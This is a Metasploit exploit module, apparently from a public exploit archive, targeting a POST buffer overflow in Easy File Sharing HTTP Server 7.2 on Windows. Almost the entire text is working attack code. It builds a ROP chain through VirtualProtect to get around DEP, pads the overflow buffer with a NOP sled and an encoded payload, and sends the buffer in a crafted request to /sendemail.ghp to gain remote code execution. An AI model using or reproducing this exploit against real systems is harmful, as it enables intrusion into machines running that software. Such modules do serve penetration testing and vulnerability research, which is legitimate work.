Easy File Sharing HTTP Server 7.2 POST Buffer Overflow

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Tcp  
#include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Easy File Sharing HTTP Server 7.2 POST Buffer Overflow',  
'Description' => %q{  
This module exploits a POST buffer overflow in the Easy File Sharing FTP Server 7.2 software.  
},  
'Author' =>  
[  
'bl4ck h4ck3r', #POC  
'Marco Rivoli <marco.rivoli.nvh[at]gmail.com>' #Metasploit  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'EDB', '42186' ],  
],  
'Privileged' => true,  
'Payload' =>  
{  
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x1002280a } ],  
],  
'DefaultOptions' => {  
'RPORT' => 80,  
'EXITFUNC' => 'thread',  
'ENCODER' => 'x86/alpha_mixed'  
},  
'DisclosureDate' => 'Jun 12 2017',  
'DefaultTarget' => 0))  
end  
  
def create_rop_chain  
# rop chain generated with mona.py - www.corelan.be  
rop_gadgets = [  
# 0x00000000, # [-] Unable to find gadget to put 00000201 into ebx  
0x10015442, # POP EAX # RETN [ImageLoad.dll]  
0xFFFFFDFE, # -202  
0x100231d1, # NEG EAX # RETN [ImageLoad.dll]  
0x1001da09, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]| {PAGE_EXECUTE_READ}  
0x1001a858, # RETN (ROP NOP) [ImageLoad.dll]  
0x1001a858, # RETN (ROP NOP) [ImageLoad.dll]  
0x10015442, # POP EAX # RETN [ImageLoad.dll]  
0x1004de84, # &Writable location [ImageLoad.dll]  
0x10015442, # POP EAX # RETN [ImageLoad.dll]  
0x61c832d0, # ptr to &VirtualProtect() [IAT sqlite3.dll]  
0x1002248c, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]  
0x61c0a798, # XCHG EAX,EDI # RETN [sqlite3.dll]  
0x1001d626, # XOR ESI,ESI # RETN [ImageLoad.dll]  
0x10021a3e, # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll]  
0x100218f9, # POP EBP # RETN [ImageLoad.dll]  
0x61c24169, # & push esp # ret [sqlite3.dll]  
0x10022c4c, # XOR EDX,EDX # RETN [ImageLoad.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]  
0x1001bd98, # POP ECX # RETN [ImageLoad.dll]  
0x1004de84, # &Writable location [ImageLoad.dll]  
0x61c373a4, # POP EDI # RETN [sqlite3.dll]  
0x1001a858, # RETN (ROP NOP) [ImageLoad.dll]  
0x10015442, # POP EAX # RETN [ImageLoad.dll]  
0x90909090, # nop  
0x100240c2, # PUSHAD # RETN [ImageLoad.dll]  
].flatten.pack('V*')  
return rop_gadgets  
end  
  
def exploit  
sploit = rand_text_alpha_upper(2278)  
rop_chain = create_rop_chain  
sploit << rop_chain  
sploit << "\x90" * 200  
sploit << payload.encoded  
sploit << rand_text_alpha_upper(1794 - 200 - payload.encoded.length - rop_chain.length)  
sploit << [target.ret].pack('V')  
  
request = "POST /sendemail.ghp HTTP/1.1\r\n\r\nEmail=#{sploit}&getPassword=Get+Password"  
connect  
sock.put(request)  
handler  
disconnect  
end  
end  
`